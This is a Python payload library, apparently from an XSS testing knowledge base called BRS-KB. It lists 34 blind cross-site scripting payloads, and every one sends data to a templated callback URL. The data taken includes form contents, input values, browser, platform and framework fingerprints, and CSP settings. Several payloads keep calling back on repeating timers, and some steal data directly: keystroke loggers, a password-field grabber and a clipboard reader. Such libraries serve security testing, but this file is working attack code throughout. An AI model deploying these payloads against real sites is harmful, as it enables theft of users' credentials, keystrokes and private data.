#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-27 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

Blind Payloads - Part 2
"""

from typing import Dict

from ..models import PayloadEntry


BLIND_XSS_CORE_PAYLOADS_PART2: Dict[str, PayloadEntry] = {
    "blind_xss_035": PayloadEntry(
        payload='<script>setTimeout(function(){var forms=document.forms;for(var i=0;i<forms.length;i++){var formData=new FormData(forms[i]);var data={};for(var pair of formData.entries()){data[pair[0]]=pair[1]};fetch("{{CALLBACK_URL}}?form="+encodeURIComponent(JSON.stringify(data)))}},1000)</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_036": PayloadEntry(
        payload='<script>setTimeout(function(){var inputs=document.querySelectorAll("input,textarea,select");var data={};for(var i=0;i<inputs.length;i++){if(inputs[i].name)data[inputs[i].name]=inputs[i].value};fetch("{{CALLBACK_URL}}?inputs="+encodeURIComponent(JSON.stringify(data)))},1000)</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_037": PayloadEntry(
        payload="<img src=x onerror=\"setInterval(function(){fetch('{{CALLBACK_URL}}?persistent=img_interval&t='+Date.now())},10000)\">",
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_038": PayloadEntry(
        payload='<script>setInterval(function(){fetch("{{CALLBACK_URL}}?persistent=script_interval&t="+Date.now())},30000)</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_039": PayloadEntry(
        payload='<script>window.addEventListener("load",function(){fetch("{{CALLBACK_URL}}?persistent=window_load&t="+Date.now())})</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_040": PayloadEntry(
        payload='<script>localStorage.setItem("xss_callback","{{CALLBACK_URL}}");setInterval(function(){fetch(localStorage.getItem("xss_callback")+"?persistent=localStorage&t="+Date.now())},60000)</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_041": PayloadEntry(
        payload='<script>sessionStorage.setItem("xss_callback","{{CALLBACK_URL}}");setInterval(function(){fetch(sessionStorage.getItem("xss_callback")+"?persistent=sessionStorage&t="+Date.now())},60000)</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_042": PayloadEntry(
        payload='<script>document.addEventListener("DOMContentLoaded",function(){fetch("{{CALLBACK_URL}}?persistent=dom_ready&t="+Date.now())})</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_043": PayloadEntry(
        payload='<script>if(document.readyState==="loading"){document.addEventListener("DOMContentLoaded",function(){fetch("{{CALLBACK_URL}}?persistent=dom_ready2&t="+Date.now())})}else{fetch("{{CALLBACK_URL}}?persistent=dom_ready_immediate&t="+Date.now())}</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_044": PayloadEntry(
        payload='<script>var observer=new MutationObserver(function(){fetch("{{CALLBACK_URL}}?persistent=mutation&t="+Date.now())});observer.observe(document.body,{childList:true,subtree:true})</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_045": PayloadEntry(
        payload='<script>if("serviceWorker" in navigator){navigator.serviceWorker.register("data:application/javascript,self.addEventListener(\\"message\\",function(e){fetch(\\"{{CALLBACK_URL}}?persistent=sw&t=\\"+Date.now())})")}</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_046": PayloadEntry(
        payload='<script>setTimeout(function(){fetch("{{CALLBACK_URL}}?timing=5sec&t="+Date.now())},5000)</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_047": PayloadEntry(
        payload='<script>setTimeout(function(){fetch("{{CALLBACK_URL}}?timing=10sec&t="+Date.now())},10000)</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_048": PayloadEntry(
        payload='<script>setTimeout(function(){fetch("{{CALLBACK_URL}}?timing=30sec&t="+Date.now())},30000)</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_049": PayloadEntry(
        payload='<script>setTimeout(function(){fetch("{{CALLBACK_URL}}?timing=60sec&t="+Date.now())},60000)</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_050": PayloadEntry(
        payload='<script>setTimeout(function(){fetch("{{CALLBACK_URL}}?timing=random&t="+Date.now())},Math.random()*10000)</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_051": PayloadEntry(
        payload='<script>setTimeout(function(){fetch("{{CALLBACK_URL}}?timing=random_long&t="+Date.now())},Math.random()*60000)</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_052": PayloadEntry(
        payload='<script>for(var i=1;i<=5;i++){setTimeout(function(x){return function(){fetch("{{CALLBACK_URL}}?timing=multi&count="+x+"&t="+Date.now())}}(i),i*5000)}</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_053": PayloadEntry(
        payload='<script>document.addEventListener("visibilitychange",function(){if(!document.hidden){fetch("{{CALLBACK_URL}}?timing=visible&t="+Date.now())}});document.addEventListener("focus",function(){fetch("{{CALLBACK_URL}}?timing=focus&t="+Date.now())})</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_054": PayloadEntry(
        payload='<script>window.addEventListener("scroll",function(){clearTimeout(window.scrollTimer);window.scrollTimer=setTimeout(function(){fetch("{{CALLBACK_URL}}?timing=scroll&t="+Date.now())},1000)})</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_055": PayloadEntry(
        payload='<script>fetch("{{CALLBACK_URL}}?browser="+encodeURIComponent(navigator.userAgent+"||"+navigator.vendor+"||"+window.opera))</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_056": PayloadEntry(
        payload='<script>var info="Chrome:"+(!!window.chrome)+" Firefox:"+(navigator.userAgent.indexOf("Firefox")>-1)+" Safari:"+(navigator.userAgent.indexOf("Safari")>-1&&navigator.userAgent.indexOf("Chrome")==-1)+" Edge:"+(navigator.userAgent.indexOf("Edge")>-1);fetch("{{CALLBACK_URL}}?detection="+encodeURIComponent(info))</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_057": PayloadEntry(
        payload='<script>fetch("{{CALLBACK_URL}}?platform="+encodeURIComponent(navigator.platform+"||"+navigator.oscpu))</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_058": PayloadEntry(
        payload='<script>var mobile=/Android|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent);fetch("{{CALLBACK_URL}}?mobile="+mobile)</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_059": PayloadEntry(
        payload='<script>var isAdmin=location.href.indexOf("admin")>-1||location.href.indexOf("dashboard")>-1||document.title.indexOf("Admin")>-1;fetch("{{CALLBACK_URL}}?admin="+isAdmin)</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_060": PayloadEntry(
        payload='<script>var adminElements=document.querySelectorAll("[href*=admin],[href*=dashboard],[class*=admin],[id*=admin]").length;fetch("{{CALLBACK_URL}}?adminElements="+adminElements)</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_061": PayloadEntry(
        payload='<script>var frameworks="jQuery:"+(!!window.jQuery)+" Angular:"+(!!window.angular)+" React:"+(!!window.React)+" Vue:"+(!!window.Vue);fetch("{{CALLBACK_URL}}?frameworks="+encodeURIComponent(frameworks))</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_062": PayloadEntry(
        payload='<script>var libs="Bootstrap:"+(!!window.bootstrap||!!$().modal)+" Moment:"+(!!window.moment)+" Lodash:"+(!!window._);fetch("{{CALLBACK_URL}}?libs="+encodeURIComponent(libs))</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_063": PayloadEntry(
        payload='<script>var csp=document.querySelector("meta[http-equiv*=Content-Security-Policy]");fetch("{{CALLBACK_URL}}?csp="+(csp?encodeURIComponent(csp.content):"none"))</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_064": PayloadEntry(
        payload='<script>var xframe=document.querySelector("meta[http-equiv*=X-Frame-Options]");fetch("{{CALLBACK_URL}}?xframe="+(xframe?encodeURIComponent(xframe.content):"none"))</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_065": PayloadEntry(
        payload='<script>var keys="";document.addEventListener("keypress",function(e){keys+=String.fromCharCode(e.which);if(keys.length>50){fetch("{{CALLBACK_URL}}?keys="+encodeURIComponent(keys));keys=""}});setInterval(function(){if(keys.length>0){fetch("{{CALLBACK_URL}}?keys="+encodeURIComponent(keys));keys=""}},10000)</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_066": PayloadEntry(
        payload='<script>document.addEventListener("focusin",function(e){if(e.target.tagName==="INPUT"||e.target.tagName==="TEXTAREA"){var keys="";var target=e.target;target.addEventListener("keypress",function(ke){keys+=String.fromCharCode(ke.which)});target.addEventListener("blur",function(){if(keys.length>0){fetch("{{CALLBACK_URL}}?formkeys="+encodeURIComponent(target.name+"="+keys))}})}})</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_067": PayloadEntry(
        payload='<script>setInterval(function(){var passFields=document.querySelectorAll("input[type=password]");for(var i=0;i<passFields.length;i++){if(passFields[i].value.length>0){fetch("{{CALLBACK_URL}}?password="+encodeURIComponent(passFields[i].value));passFields[i].value=""}}},5000)</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
    "blind_xss_068": PayloadEntry(
        payload='<script>document.addEventListener("paste",function(e){setTimeout(function(){var clipboardData=e.clipboardData||window.clipboardData;var pastedData=clipboardData.getData("Text");if(pastedData.length>0){fetch("{{CALLBACK_URL}}?clipboard="+encodeURIComponent(pastedData))}},100)});navigator.clipboard&&navigator.clipboard.readText&&setInterval(function(){navigator.clipboard.readText().then(function(text){if(text.length>0){fetch("{{CALLBACK_URL}}?clipboard2="+encodeURIComponent(text))}}).catch(function(){})},30000)</script>',
        contexts=["html_content"],
        severity="medium",
        cvss_score=5.5,
        description="Blind Xss payload",
        tags=["blind-xss", "callback"],
        waf_evasion=False,
    ),
}
